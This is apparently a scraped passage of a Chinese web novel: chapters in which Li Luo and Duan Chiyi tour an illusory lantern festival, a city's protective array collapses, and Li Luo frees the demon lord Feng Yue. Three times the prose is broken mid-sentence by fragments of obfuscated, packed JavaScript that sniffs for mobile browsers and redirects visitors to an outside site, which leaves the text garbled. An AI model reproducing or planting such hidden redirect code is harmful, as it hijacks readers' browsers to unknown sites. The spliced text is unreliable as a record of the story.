她一脸纳罕,抬手摸了摸自己的脸,不明白他为什么不高兴: “我说的不对吗?” 下巴被人抬起来。 段迟意低头,仔细端详她的眼睛。 眼白恢复了些许,但仍灰蒙蒙的,连带着瞳孔都没有光点。 她被混沌之力和魔气反噬的太严重,又提前把他打成重伤,现下能保住眼睛已是万幸,还敢说他“治愈水平不行”? 真会倒打一耙。 段迟意心里不爽,捏着黎落的下巴左右摇了摇,想知道这张脸有什么魔力,让他又爱又气,到现在都舍不得出手揍她。 黎落乖巧地随着他的手左右晃头,甚至玩的很开心,眯起眼睛直乐: “段迟意,你也在这里,真是太好了。” 她两手扯他垂下的袖口,整个人晃来晃去,撒娇似的: “极渊好危险啊,但是有你在,我真的好开心啊!” 嘴巴一张一合,轻易就能说出让他心软的话。 段迟意在心里“哼”了一声,随后又无奈地叹气。 他顺手挠了挠她的下巴: “带你出去玩。” * 段迟意显然对极渊的场景转换更熟悉一些,两人很快便到了市集。 极渊原本是人界青崖城,后来魔族入侵,全城覆灭,如今两人所处的热闹的街市,十有八九是过去的影像。 但人声鼎沸,浮影蹁跹,真与假对此刻的极渊而言,似乎也并没有多少区别。 黎落一路上拉着段迟意的袖子,被他带着朝前走。 她看不清东西,但仍下意识左顾右盼,视野被一丛丛飘过的亮光吸引: “这是什么?好亮啊!” 段迟意朝她指的方向看一眼,道: “是花灯。” 他从记忆深处找到了这个节日的名字: “今夜是花灯节。” 远处华灯初上。 边城的花灯节不似人间京都那样锦绣繁华,总带着些干练气质,被北地的风雪一吹,竟有些萧瑟冷肃之感。 联想到花灯节后发生的事情,段迟意神色变得凝重。 他一时间觉得落寞,好像连这周围欢笑着行过的人影,竟都带着几分诀别意味。 黎落却已松开他的袖子,跟着一团光影朝前跑去。 段迟意急忙追上去。 黎落看不清路,追了几步就开始走不稳,先是差点撞上人,随后又在躲避中险些被地上的杂物绊倒。 幸好段迟意及时扶住她,将她带到路边。 “小心些,不要一个人乱跑。” 他板起脸提醒她,想起她看不见自己的表情,又觉得有些无奈。 黎落却拉住他的手。 她一脸的激动,并不因为这个小插曲而感到懊恼,反而大力拽着他朝有光的地方走去: “快快快,我要去那边,你拉着我去。” 段迟意被她拽着走了几步,有些不理解: “这里都是幻象,你怎么这么开心?” 黎落满脑子只有前面那团光,闻言想也不想道: “真真假假,谁又能真正分的清呢?此刻的感受才是真的。” 她有些急了,换了两只手一起拉他: “快点吧快点吧,我快要追不上了!” 段迟意有些怔愣。 他的目光随着黎落的话,不自觉落到这满街飘过的花灯上。 然后他意识到,纵使即将到来的是不幸,但一无所知的人们脸上挂着的,却是真挚热切的喜悦。 他们在真切的高兴,反倒是他这看似清醒的“外来者”,在替他们悲伤着他们并不在意的“所谓未来”。 竟是多此一举! 他眉眼间的郁色散开,被黎落拽着走了几步,忽而舒心一笑。 手上微微用力,黎落便拖不动他。 她十分不满地停下,松开一只手,叉着腰质问他: “段迟意,你到底想干嘛?” 脸却忽然被人捧住。 一阵清风吹来,冰凉的雪花被席卷着刮到她唇角,冰得她一抖。 随后便有一个柔软的东西覆了上来,将那片雪花连同她的唇一起吞下,温热的气息顿时将凉意彻底覆盖。 她蓦得睁大了眼睛,却看不清段迟意的脸,只能在一片模糊的世界中感受他的亲吻。 温柔而缱绻。 他一手与她拉着,不知不觉间变成十指相扣,另一手捧着她的脸,在漫天飘雪中与她唇齿相依。 花灯从他们身边游走而过,幻象中人看到相拥在一起的他们,纷纷露出笑容。 真和假混在一起,竟是同样欢喜心情。 黎落在他的亲吻中缓缓闭上眼。 ——反正也看不清。 不过…… 她好像不那么害怕黑暗、也不那么害怕下雪了。 * 因为段迟意的突然打断,黎落最终还是没能追上她最喜欢的那团光。 她很是不高兴。 段迟意却好像忽然看不懂她的脸色一样,拉着她在路边闲庭信步。 两人仍十指相扣着。 黎落心里生气,想拽自己的手,没能拽出来,她于是用力合起五指,想夹疼段迟意的手指。 但他一双握剑的手比石头还坚硬,修长的指节玉石一般箍着她,不但没有被她伤到,反而害的她自己指骨隐隐作痛。 黎落泄气,懊恼地垂头跟着他走。 段迟意嘴角的笑意压根没有消下去过,感受到黎落暗戳戳的小动作,他眼里也浮上几分笑。 忽然驻足,轻轻朝前一拉,黎落便被他手腕带着朝前扑了几步。 直直撞进他怀里。 “你怎么引路的?!” 黎落从他怀里抬起头,脸上带着明显的怒意。 段迟意压着笑意,故意用无辜的语气说: “你快要摔河里了。” “啊?” 黎落一愣,急忙朝他的方向挪了挪: “对不起,是我错怪你了,你别介意……” 她抱住他的腰,很是警惕地扭头观察四周,虽然并不能看到什么东西。 段迟意于是将她彻底揽住。 他抱着她,感受她全身心的依赖和信任,心里盈满了幸福。 垂头在她头顶亲了一口,轻声道: “原谅你了。” 道路宽敞,商贩推着花灯吆喝着从两人身边路过,不闻水声,只见一簇簇交叠的亮光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504073|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎落顿时被吸引了注意。 但她没能分辨出河在什么位置,所以不敢放开段迟意,仍紧紧抱着他,目光却情不自禁跟着那一车的光点移动。 段迟意见状道: “过去看看?” 黎落下意识:“好啊!” 但很快她又摇头: “万一摔水里怎么办?我不敢松手。” 她脸上同时出现了向往和担忧两种表情,快要皱成苦瓜。 手还紧紧抓着他的衣服,似乎真的很害怕在半瞎的时候掉进水里。 段迟意闷笑起来。 黎落疑惑,抬眼看他。 十分茫然的眼神,表情可爱的不像话。 段迟意觉得心都化了。 于是他说:“那我抱你去。” 说完,他弯下腰,手臂从黎落膝下穿过,另一手揽在她身后,直接将她拦腰抱了起来。 黎落脚下一空,急忙抬手抱住他脖子。 他的脸蹭过她的耳畔,听见段迟意在她耳边低声说: “现在不会摔了。” 黎落将他脖子搂得更紧些。 他的手臂坚实有力,抱着她也走的平稳。 黎落靠在他怀里,头倚在他肩上,竟觉察出几分懒洋洋的睡意。 她闭上眼,悄悄打了个哈欠。 没过多久,听见段迟意说:“到了。” 黎落睁开眼。 昏暗的视野里果然多了一片朦胧的光影,甚至可以闻见蜡烛在花灯里燃烧时发出的味道。 仔细听听,似乎还有风车扇叶随风转动的声音。 她一下子清醒过来,赶忙松开手,示意段迟意放她下来。 段迟意却站着没动。 黎落问他: “怎么了?这儿的路还不好走吗?” 段迟意垂眼瞥了一眼地面。 平坦光滑,大路宽敞,连颗石子都没有。 他收回视线,镇定道: “嗯,不太好走。” 黎落面露失望。 然后她抱着他的脖子一边晃一边主动提议: “那你抱我过去,快。” 段迟意勾起嘴角,轻快地“嗯”了一声。 他手臂微收,将人抱得更紧些,长腿一迈,走到了花灯车前。 商贩的目光从黎落有些空茫的眼睛移到段迟意望着她的神情,顿时露出了然的笑。 他笑眯眯地看着这对始终粘在一起的恋人: “姑娘想要什么灯?” 黎落松开一只搂着段迟意脖子的手,侧着头,努力从眼前叠在一起的诸多光影中寻找她最喜欢的。 段迟意将她朝前抱了抱,方便她能够得到。 黎落伸手在半空中晃了半天,摸到了一只粉白的兔子灯。 这盏灯色泽温和,在她看来最为漂亮。 商贩将灯取下来,隔着花灯车递给她。 黎落抱到了她喜欢的兔子灯。 只是还未说话,便摸到了侧面一块冰冰凉凉的东西。 触感有些熟悉,似乎可以揭开…… 商贩见状笑道: “姑娘莫怕,我这灯别有巧思,兔身带一狼面具,逗人一笑罢了。” 面具…… 黎落脸上的笑容一僵,想到了另一个戴面具的人。 偏商贩还在继续说: “这面具扣得很紧,轻易拽不掉的,姑娘放心提着灯游玩便是……” 珩亦的面具也很难拽掉,她记得自己用头顶用脸蹭都没能成功,所以她改口咬了他的脖子…… 黎落僵硬地靠在段迟意怀里,捧着带了面具的兔子灯,顿觉坐立难安。 段迟意好像并未察觉到她的心情复杂,还在问她: “怎么了?你不喜欢有面具吗?” 45. 第 45 章 “怎么了,你不喜欢有面具吗?” 段迟意的每个字都像敲钟一样敲在她耳边,回音连绵不绝。 这应该不是她喜不喜欢的问题吧…… 黎落心想。 她那分明是认错了人,错把珩亦当成了段迟意。 但这件事能告诉段迟意吗? 不能。 她坚定信念。 将兔子灯朝外推了推,黎落义正辞严道: “我不喜欢兔子。” “是吗?” 段迟意看了一眼兔子灯,神色有些莫测: “其实没有面具的时候,这灯挺好看的。” 黎落忍不住回头看了一眼那朦胧的光,表示同意: “我也这么觉得……” 段迟意便笑起来。 他状似苦恼,叹道: “那怎么办?现在这兔子,就是有个摘不下来的面具。” 黎落绷紧的背软了下来,再度靠进他怀里,托着下巴沉思。 她忽然想到了段迟意用夜明珠做的星星灯。 “不然……你给我做一个吧?” 她觉得这实在是个好主意: “我看不见东西,又带不走这灯,但是你给我做一个,等我出去了、眼睛好了,就能看见了呀!” 段迟意垂眸扫她一眼,声音淡淡的: “你倒是会使唤人。” 他嘴上这么说着,手臂却将她抱得更紧一些。 商贩狐疑地看着两人,兔子灯拿也不是不拿也不是。 他犹豫半晌,问了句: “二位,这灯,到底是买还不买啊?” * 黎落最后还是提着灯走了。 虽然她并不想时刻拿着一个戴面具的兔子,但段迟意坚持要买。 于是她左手攀着段迟意的脖子,右手提着个灯,在半空晃来晃去。 ——仍被段迟意抱着走。 “青崖城以前的路这么难走吗?” 她晃了晃手里的灯,自言自语。 然后她又觉得,其实有面具也没什么,反正她现在和瞎子没什么区别,眼不见心不烦。 于是她又高兴起来。 段迟意看她一眼,不知道她又想到了什么好玩的事情,满脸得意,提着灯在他面前晃来晃去。 那一团粉白的光像吊在驴子前面的萝卜一样,引着他朝前走去。 他一时为自己这念头感到荒诞,却也忍不住笑了起来。 雪落无声。 但灯火璀璨。 * 花灯节后半夜起了风。 按照原著所说,青崖城便是在花灯节这一天法阵失效,魔族入侵。 整座城池上方都被法阵发出的淡淡金光笼罩着,阵心在城北,金光便从那里发出,朝四面扩散,直至将整个青崖城笼罩在庇护中。 黎落和段迟意一起坐在高处。 段迟意折了树枝,正在给她编兔子灯。 他时不时用灵力凝成丸子,喂给黎落吃。 黎落坐在他身边,虽看不清楚,却坚持要仰着头看天上的法阵,一边将段迟意变出的“灵力丸子”塞到嘴里,嚼得嘎嘣脆。 硬邦邦的“丸子”咽下便化作温润的灵力,融进她的经脉中,让她舒服地想要眯起眼睛。 一片落雪猝不及防飘进她眼睛里,冰得她“哎呀”一声,条件反射地闭了眼。 段迟意于是放下手上编了一半的灯,扳着她的脸转到自己这边,凑近看她的眼睛。 微凉的气息凑近,黎落却仍闭着眼。 抚在她脸侧的手指有些凉,却不见他有所动作。 等了半晌没听见声音,黎落睁开一只眼睛偷看。 ——正对上段迟意戏谑的目光。 见她忍不住先睁开眼,段迟意眼里笑意盈盈,他不禁轻笑起来,缓缓凑近她—— 黎落忽然扭开了脸。 段迟意愣住。 她先是“欸”了一声,猛得将两只眼睛都睁开,左顾右盼一番,惊喜地发现自己能看清东西了。 “真的能看见了!” 她用力眨了眨眼睛,又将脸转回段迟意的方向。 段迟意的脸离她很近,闻言又将她的瞳孔仔细检查了一遍,确保魔气消退,又恢复成一双琥珀似的眸子,这才松了一口气。 他将她发丝上的落雪拂去,“嗯”了一声,语带笑意: “恢复了。” 他本就容颜极盛,笑起来的时候,眼睛里总像是藏了星星。 此刻更甚,眼角眉梢都带着浅浅的笑,看得黎落心痒痒。 她蓦地凑上去,飞快在段迟意脸颊上“啵”了一下。 偷袭成功,她又坐回来,转头继续看着天上的法阵,装作无事发生的样子,却又忍不住露出得意洋洋的笑。 段迟意黑眸落在她脸上,看她灵动的眉眼,翘起如蝶翼的长睫,忽闪忽闪,将世间所有美好的风景都纳入其中,让他怎么都看不够。 如果他只是段迟意就好了。 这念头忽然冒出来。 如果他从一开始,就是个叫段迟意的灵妖,略有些剑术,幸运地遇见了黎落,保护她,陪着她,应该也会很好吧。 如果世间没有魔尊和混沌之力,不再有邪魔伤人,他是否可以不与寒冰和破妄为伴,一心一意等黎落许诺给他的剑呢? 为什么混沌之力偏偏在黎落身上呢? 段迟意心想。 某个瞬间,他期待黎落只是一个普通人,她不知道魔魂,没有混沌之力,只需要开开心心活着就好。 但他心里再清楚不过,就是因为有这些东西,她才能从一次次危机中活下来,活到他见到她的时候,活成他喜欢的、坚定不屈的样子。 这是她选择保留的一部分,是她能站在这里的原因,更是她本身。 他没有资格拿走她的东西,连有这种念头都是卑鄙。 “黎落。” 他叫她名字。 她没有转头,开心地晃了晃腿,仰着头闭着眼睛应他。 “怎么了?” 段迟意看着她无忧无虑的模样,沉默了片刻,道: “仙门很危险,不要被他们发现你。” 黎落晃腿的动作停顿。 她脸上有冷漠的表情一闪而过,很快便消失不见,又是一副漫不经心的模样,避重就轻道: “副阁主,这话还用你说啊,我可是魔族阁主,才不会去仙门那边找死的。” 她拉着他的袖子晃了晃: “再说了,这不是还有你嘛,你不一定比那个珩亦弱的!阁主相信你!” 她虽这么说,却也知道,如果系统和剧情真的要她死,珩亦和仙门也不过是达成结局的一种工具而已。 段迟意看她半晌,低低地“嗯”了一声。 黎落却察觉到些许不对劲。 她转向段迟意: “你……不高兴吗?” 她疑心是自己给他的负担太重,急忙又道: “我也不是要你和珩亦决一死战,只是打个比方,我……” 段迟意忽然抬手抱住她,将她的上半身压进自己怀里,打断了她的话。 “我知道。” 他说:“我向你保证,若是珩亦杀你,我必死于你之前。” “……嗐。” 黎落不理解事情怎么就发展到现在这种“要死要活”的地步了。 她抬手环在他背后,让这个拥抱更加贴近一些: “段迟意,我和你们不一样……” “所以,你要好好活着,云苍阁可离不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508056|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这样能干的副阁主啊!” 她故意用夸张的语气,纵使段迟意也难再继续板着脸。 他只好改口: “我会保护好你的。” 黎落在他怀里点头如捣蒜,下巴磕着他的肩膀。 段迟意继续道: “若我不在……” 黎落顿时变成疯狂摇头: “你不能不在。” 段迟意无奈,用下巴蹭了蹭她的头发,妥协道: “好吧,我在。” 黎落这才满意。 良久,听见他叹息似的一句话: “若我能一直在,就好了……” 她听了疑惑,不知这话从何而来。 难道段迟意其实一直在计划着辞职? 明明是他主动要当副阁主,现在这又是什么意思? 她抬头,想看一看他的表情,好质问他几句,目光却被他喉结上方的伤口吸引。 那道血痕在白皙如玉的肌肤上格外明显,似乎是新的;看位置和形状,怎么有点…… 她从他怀里直起身,想要仔细看清。 头顶的法阵忽然发出巨大的碎裂声,打断了她的思绪。 黎落仰头,发现原本笼罩在青崖城上方的法阵正在消解,露出外面沉郁的魔气; 还未消失的地方已经出现了细碎的裂痕,如同一盏倒扣的、遇冰碎裂的新瓷,发出清脆却又密集的碎裂声,听在青崖城众人耳中却有如惊雷。 ——护城法阵碎了! 魔族闻风而动,滔天魔气由远及近冲来,没了法阵遮挡,如入无人之境,眨眼便将远处高高挂着的最亮的那盏花灯碾碎。 残余的火星飘荡着落到地面,被落下的雪盖灭,仿佛死亡开始的信号。 尖叫声和厮杀声同时响起来。 黎落和段迟意站了起来。 他们都知道这是幻境,是两百年前已经发生过的事情,是不可更改的既定事实。 但谁也没有露出轻松的表情。 原著中曾提及,青崖城的战事开始于花灯节后半夜。 护城法阵破裂,魔族突袭,城内百姓死战三日,才终于等来了仙门援军。 成胥道君与诸多仙门弟子齐心协力,以城中百姓的灵魂为引,重启法阵,将城内残余魔族彻底封印其中。 魔尊沧宿也落败于此,青崖城自此改名极渊,魔气不散,阴魂长存,互相撕扯,一齐被囚于青崖城法阵之中。 而这一切的开端,皆因青崖城主段弘守护玄铁不利。 玄铁,青崖城法阵的阵心,更是拥有毁天灭地之能的神器。 若说混沌之力是天地造物,人人趋之若鹜,拥有便可成尊;玄铁就显得更为低调。 这件据说可变幻成任何一种神兵利器的宝物,至今没有人能得到并使用。 在青崖城做法阵阵心的这些年里,从未有人见到玄铁变成过武器。 甚至在原著中,玄铁的去向也一直是个迷,从头到尾,没有任何描述佐证玄铁真的能变成绝世神兵。 似乎,有关玄铁的传言,就只是传言而已。 几乎是魔族入侵的同时,黎落便听到系统的提示音再次响起。 “魔君性命垂危,剧情线出现偏差,请宿主及时修正。” 这次系统专门多说了一句: “宿主,封樾此刻就在阵心,请尽快行动。” 她的目光随之落到法阵最后消失的地方——青崖城北。 魔气与鬼气混作一团,逐渐露出极渊的本貌。 没有花灯游走的街道,更没有喜气洋洋的行人。 她周围的场景也随之改变。 静谧的风变成燥热的火,将落下的雪花瞬间吞噬。 段迟意拉住她: “我们得离开这。” 46. 第 46 章 他们先前走过的街道已经变成炼狱。 灯火不再,处处是焦黑残烬,魔气和鬼气撞在一起,已无活物。 先前见过的商贩褪去人的神态,面露鬼气,手提长刀,与魔族厮杀在一起。 或许这就是极渊本来的样子。 而空气中飘过的水汽让段迟意有些神思不属。 不知怎的,他总觉得这极渊下的阵法中,有师尊剑诀“山海覆”的痕迹。 山海倾覆,寸草不生。 成胥道君的剑意含磅礴之力,以此为封印,足以将青崖城中所有魔族镇守其中。 只是,若有师尊剑意为引,又何须将青崖城中诸多阴灵一起压制其中呢? 他心下迟疑不定,却又不愿多想,暂且专心应战。 段迟意挥剑打开一个扑上来的魔族,将黎落挡在身后: “你怎么样?” 黎落摇摇头,指向城北的方向。 那里似乎有阵法的光芒闪过,却一晃即灭。 她语气有些不确定: “我刚刚好像看见护城法阵了。” 段迟意随着她手指的方向看去,那一晃而过的法阵光芒竟然又亮了起来。 这次发出的光清晰许多,一眼便能看清其上萦绕的符文。 “不是护城法阵。” 意识到这是什么后,段迟意蓦地攥住黎落的手,声音有些低沉。 “不是?” 黎落疑惑,她抬头看了看天上的光,又看向城北法阵光芒亮起的地方: “那这是什么?” “青崖城全城与魔族死战三日……” 段迟意垂眸,长叹一声:“以人族血肉之躯,如何能拦住魔族三日呢?” 黎落愣住,她转头看向光芒最盛的地方。 那是个祭坛。 * 护城法阵破的突然。 若青崖城被攻占,不止城中百姓会死,就连身后人界的其他地方,都会暴露在魔族攻击范围下。 玄铁丢失,护城法阵被毁,魔族入侵人界,大肆屠杀无辜百姓。 这个骂名,在青崖城破的瞬间,段弘就注定再也无法摆脱。 他当即决定亲自用灵魂献祭法阵,哪怕永世不入轮回,也只为再多撑片刻。 多撑一时,青崖城其他人便多一份生机。 但其他人拦住了他。 “若城主先一步身死,还有谁能带领我等迎敌?” “玄铁丢失,是我阖城之过,城主纵孤身赴死,亦难抵罪责。况且一人之魂献祭法阵,又能撑得了多久?” “就是!若我青崖城注定难逃此劫,在座各位谁能置身事外?不如同那劳什子魔族拼了!老子宁死,也得带上几个垫背的!” “城主公子不是也在仙门修行吗?山中苦寒,仙人济世,我们这些做长辈的却也不是孬种!便先替仙门小友们扛上一扛!” “既是需要灵魂祭阵,不若先去尽情厮杀一场。兄弟们死后有知,回来同入祭坛,再做同袍!” …… 黎落蓦地从幻境中回过神来,发现自己不知何时已经站在祭坛旁边。 飞起的火星撩到了她的衣摆,她下意识朝后退了半步,却没见到段迟意的身影。 就在方才,城北祭坛方向忽然爆发出巨大的光晕,朝外散开,将青崖城完全笼罩在内。 她忽然生出一种错觉,仿佛整个青崖城都变成了一个巨大的祭坛,被仙门封印压着,鬼魂与魔族在其中征战不休,重复着两百年前的一幕。 也就在这一瞬间,极渊内场景再次变幻,竟将她和段迟意分开了。 黎落摇了摇头,将脑海中的思绪晃开,打算先找段迟意。 但她刚迈出一步,便听见身后“轰”得一声。 她回头,原本只在祭坛中燃着的火星骤然冒了出来。 热气蒸腾,一下子将她打得摔到了地上,火舌随即朝她席卷而来。 黎落抬臂挡在脸前,魔气顿时暴起,劈开迎面砸下的火焰。 火焰两分砸在地上,溅起无数火星,将祭坛周围一圈连同黎落在内都围了起来。 黎落露在外面的皮肤被热气烫得生疼,恍惚间以为自己已经被蒸熟了。 手下地面也好似被烤化了一样,逐渐生出一种软而粘糊的触感。 下一刻,黎落只觉掌心一空,失重感顿时袭来。 她整个人陷了下去。 系统的提示音响个不停: “魔君危在旦夕,请宿主及时行动!” 黎落趴在地上,抬手捶了捶自己的头。 骤然下坠的眩晕感缓解了几分,她抬头,发现这地方她很是熟悉: 正是一开始遇见封樾的地方。 此刻的封樾仍被捆着,垂着头,一副人事不省的模样。 一株藤蔓攀在他身旁的柱子上,似乎是死了,一动不动,叶片呈现出诡异的青紫色。 黎落仰头。 头顶的墙壁正在缓缓蠕动,似乎是在恢复原状。 她正上方还留着缝隙,但已经不足以容一人通过,火焰从缝隙中朝下倾倒。 黎落急忙朝封樾的方向挪了挪,避开被火焰浇头的危险。 这动静引起了封樾的注意。 他抬起头,脸上遍布魔纹,几乎已经看不出本来的样貌。 “是……你……” 封樾认出了她,他神色清明些许,眼里多了几分嘲弄。 他的目光落到她脸上,带着意味深长的审视: “本君近日常有幻觉,好像一切不该是这样。” 黎落猛地转身看向他,换来封樾带着森然血气的一笑: “莫不是本君猜对了?想想也是,像你这样的人,就该被本君囚于魔宫,日夜承……” “啪——!” 黎落面色不变,忽而抬手给了他一巴掌。 动作幅度太大,带动得她整条胳膊都有些疼,封樾直接被她打得歪过头去。 他反而笑了起来。 笑声带着毫不掩饰的恶意: “早知你是这么个性子,本君便早早打进云苍,将你抓了……区区一个段迟意,还不算本君的对手……” “宿主,请及时救出魔君,否则将被一同抹杀。” 系统的威胁和封樾的声音混在一起,听得黎落心烦意乱。 她在心里叹了口气,劝自己冷静。 将封樾救出去,起码不至于连累得自己一起死在这儿。 但如果封樾再说下去,她难保不会现在就和他同归于尽。 封樾见她不动如山,忽然眯眼看向她身后,意味深长道: “其实有你陪着本君上路,也算有趣……” 黎落闻言一惊,下意识觉得危险。 匆忙侧身,将将避开身后袭来的一击。 她这才发现,方才自上而下倒在地上的那一团火焰非但没有熄灭,反而像一团不停蠕动的、燃烧着的面团,逐渐捏出人的形状。 看轮廓是个瘦而高挑的男子,魔气在火焰中间碰撞,时不时便将人形的轮廓撞成扭曲的模样。 魔气顶着火焰,一击不中,再度扑向黎落和封樾的方向。 混沌之力从黎落身上冒出来,抵住魔气的攻击。 封樾在她背后笑了起来。 魔气将他缠的更紧,衣服布料都被勒进了裂开的皮肉中,脸上的魔纹更像是硬生生勒进面皮中,压得他眉眼漫出血色。 他却像是在这濒死的苦痛中品出甘甜似的,越发兴奋起来,竟猛地挣脱了缚着他手臂的魔气,一把扯住了黎落的肩膀。 力气之大,痛得黎落当即皱眉。 她反手用混沌之力化作刀刃,砸向封樾,砍得他小臂几乎断裂,露出其下森然白骨。 然而封樾抓着她肩膀的手却纹丝不动。 魔气同样从他身上漫出来,与黎落背后那火焰中的魔气格外相似,一前一后将她困在原地,被吞噬只是早晚问题。 他双目泛红,将她拉近他眼前,吐息间带着浓重血气,那张桀骜而狂妄的容颜看着有些疯: “黎落,陪本君一起死吧!” 身后的魔气被混沌之力挡着,面前的魔气却是直接压向她的脸,不断冲击着她的理智。 她强迫自己抬眼,目光直直看向近在咫尺的封樾。 半晌,忽然笑了一下。 封樾被她的笑容晃到,下意识闭了下眼睛,复又睁开。 他扣在她肩膀上的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎落趁机握住,将他的手拉离自己的肩膀。 摸到了一手她的血。 黎落神色如常,分出混沌之力去砍封樾身上的锁链。 她攥着他的手,微微用力,像是在给他鼓劲: “帮帮我,封樾,不要让沧宿得逞,我们要一起活着回到魔宫。” 封樾盯着黎落,却无法从她脸上看出丝毫纰漏。 犹豫片刻,最终反握住她的手,粘腻温热的血隔在两人掌心。 他魔气大增,一如原著中所描述的那样,被女主的鼓励和爱慕激发了活下去的斗志,竟真的抗住了沧宿的夺舍。 混沌之力顿时找到机会,猛得一砸,直接将缠在封樾身上的锁链砍断。 封樾脱身,看向黎落: “跟我走!” 黎落摇头,看了一眼背后包裹着魔气的火: “你先走,我替你断后!” 封樾长眉拧起: “我们一起走!” 黎落自然不会跟他回魔宫。 混沌之力收了些许,背后的火焰猛得扑来,一下子燎到了她和封樾的头发。 封樾本就险些被夺舍,此刻魔魂不稳,顿时被冲撞地吐出血来。 黎落见状,神色更加急切,从他手中抽出自己的手,拼命推着他朝外去: “你快走啊!不要管我!你快走!” 她几乎要落下泪来: “沧宿不会杀我的,他想抓的人是你,只有你走了我们才能安全!” 封樾目光颤抖。 他看向黎落的眼神变得痛心、不舍。 但黎落说的对,只有他活着,才有可能救出黎落。 他郑重道:“等我。” 黎落点头。 下一秒,封樾果断转身,将攀在身旁石柱上的藤蔓带着,很快消失在黎落眼前。 黎落的神情随着他的离开,一下子变得冷漠。 她眼角还带着水光,但双眸中已经毫无悲伤之态,随手将泪水擦去。 问系统: “珩亦真的能在这儿杀了沧宿,并且他自己也会死?” 系统道: “是的,宿主,从您成功救出魔君的那一刻开始,剧情线已确认偏移。破妄剑意为‘以命相换’,珩亦于极渊下斩杀魔尊,与之一同散于天地。” 说完,机械音用不含感情的语调说: “恭喜宿主,您的死亡危机即将解除。” 47. 第 47 章 黎落脸上没有露出喜悦。 其实珩亦直到目前为止都没有真正伤害过她。 他还多次救过她。 甚至……都没有趁机杀了她。 但是他偏偏是原著中杀她的人…… 系统道: “宿主可拖延时间,静待珩亦现身。” 黎落想了想,收回混沌之力,装作体力不支的样子坐到了地上。 身后那火顿时扑来,却又在靠近她的一瞬间停住。 火焰凝聚成身形修长的男子模样,没有脸,绕着她转了半圈。 黎落回头与他对视,眼里写满了倔强不屈。 目睹这一切的沧宿轻嗤一声: “你倒是善良。” 他看了看封樾消失的方向,语带嘲讽: “为心爱的男子牺牲,对方却救了别的女人离开,你心里一定很伤心吧?” 黎落垂眸,假装低落: “我不会听你的挑拨。封樾一定会回来救我的。” 她的目光却不由自主看向封樾离开的方向。 半晌,忍不住问道: “那藤妖……” 只说了这几个字,她又急忙摇头,语气有些急促: “不,不会的,我救了他,他不可能抛下我不管!” 说罢,她瞪着沧宿: “你不过是想骗我交出混沌之力罢了,我不会上你的当!混沌之力,一定是封樾的!” 沧宿见状冷笑一声,火焰变成手,捡起地上散落的藤蔓枝条: “该说你是自信还是愚蠢呢?竟然妄图和一个魔讲感情。” 他用那枝条挑起黎落的下巴,端详她的脸: “杀我的伪装时下手如此狠戾,怎的如今却开始痴心妄想了?” 枝条从他手中开始燃烧,直到接触到黎落下巴的前一刻熄灭。 墨色灰烬落到她的衣服和地上,黎落听见沧宿用带着戏谑的声音说到: “莫非比起段迟意,你更喜欢我捏的这张脸?” 人形火焰蓦得靠近她,空白的脸上忽而出现了封樾的脸。 沧宿观察她的表情。 黎落眼里闪过下意识的厌恶。 她抬手,拍掉自己衣服上沾的灰黑,冷冷道: “你不是他。” 沧宿以为她说的“他”是封樾,神色阴郁: “你怎知我不是他?” 他站起身,睥睨着眼前所见的一切,展开两手,火焰时刻伴随着他的动作,他的声音在空荡的地下空间里回响: “本尊坐拥魔界,若非被仙门小人所骗,又岂会沦落到割半魂以求生的地步?!” “区区封樾,不过是本尊储藏魔魂的壳子罢了,竟还敢妄图取代本尊——” 他蓦地转向黎落,目光冷而无情: “你这愚蠢凡人,当真以为本尊看不出来?你分明是拖延时间,等着别人来救你!” 黎落:“……” 沧宿倒是没有封樾那么好骗。 但一样让人厌恶。 要是他们能一起死掉,还不连累她就好了。 黎落心想着。 她神色坦然,丝毫没有被揭穿的慌乱: “纵使我不拖延时间,你也不会立马杀我,不是吗?” 她抬手,指尖浮出黑色雾气,逐渐凝成一柄匕首。 沧宿阴冷的目光锁在她手上,没有反驳。 黎落握住匕首,看向他: “你在极渊下闹出这么大的动静,仙门必有察觉。可你身躯已毁,魔气无所立足,用以伪装的人皮又被我毁掉,只能靠着一堆火塑形……” 她的目光扫过沧宿周身,眼里是毫不掩饰的鄙夷。 这对昔日叱咤风云的魔尊的伤害是巨大的,他可以勉强忍受同她虚与委蛇,却无法接受自己被一个凡人鄙夷的事实。 沧宿无声暴怒起来,周身火焰突起,魔气炸开,从内部不断朝外撞击,连人形也难以维持。 但他依然没有对黎落动手。 黎落于是笑了起来: “你不杀我,是因为你想要混沌之力,你更好奇我一个人族,为何能催动混沌之力。” “承认吧,魔尊沧宿,比起封樾的身体,你更想要我的。” 她外表柔柔弱弱,语调也轻缓柔和,说出的话却如此狂妄。 沧宿眯起眼睛,神色莫辨: “区区人族,弱小不堪,你未免太过自信。” 黎落不语。 沧宿沉默片刻,忽而又道: “你为了封樾,究竟能做到何等地步?” 黎落:“?” 她露出真心实意的困惑,不知道这件事究竟和封樾有什么关系。 但谈判的原则就是不要轻易露出底牌,她收起心里的疑惑,继续看着沧宿,一言不发。 这模样更像是肯定了沧宿的猜测。 